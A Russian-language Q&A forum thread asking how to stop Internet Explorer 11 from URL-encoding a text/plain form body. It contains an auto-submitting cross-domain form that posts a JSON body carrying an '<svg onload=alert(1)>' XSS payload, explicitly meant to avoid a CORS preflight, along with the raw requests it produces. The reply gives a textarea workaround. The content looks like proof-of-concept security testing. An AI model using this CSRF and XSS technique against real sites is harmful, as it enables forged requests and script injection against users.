Как предотвратить кодировку тела формы для текста / простого в IE - PullRequest
0 голосов
/ 25 июня 2019

IE11.2848 кодирует тело формы, даже если я использую enctype = "text / plain".

  <body>
    <form action="/n/jsonxss" method="POST" enctype="text/plain">
      <input type="hidden" name='{"test":"<svg onload=alert(1)>"}' value='{"test":"<svg onload=alert(1)>"}' />
      <input type="submit" value="Submit request" />
    </form>
    <script>document.forms[0].submit()</script>
  </body>

Запрос IE составляет:

POST /n/jsonxss HTTP/1.1
Content-Type: text/plain
Content-Length: 73
Host: [..]

{%22test%22:%22<svg onload=alert(1)>%22}={"test":"<svg onload=alert(1)>"}

Запрос Chrome составляет:

POST /n/jsonxss HTTP/1.1
Content-Type: text/plain
Content-Length: 65
Host: [..]

{"test":"<svg onload=alert(1)>"}={"test":"<svg onload=alert(1)>"}

Как избежать URL-кодировки для двойных кавычек для атрибута "name" в IE11?

Этот запрос должен быть отправлен из другого домена, поэтому application / json не является опцией, так как для него требуется предварительный запрос.

1 Ответ

0 голосов
/ 26 июня 2019

Кодировка URL не применяется, если использовать <textarea> вместо <input>:

<form action="/n/jsonxss" method="POST" enctype="text/plain">
    <textarea name='{"<svg onload=alert(1)>":"'>"}</textarea>
</form>
Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...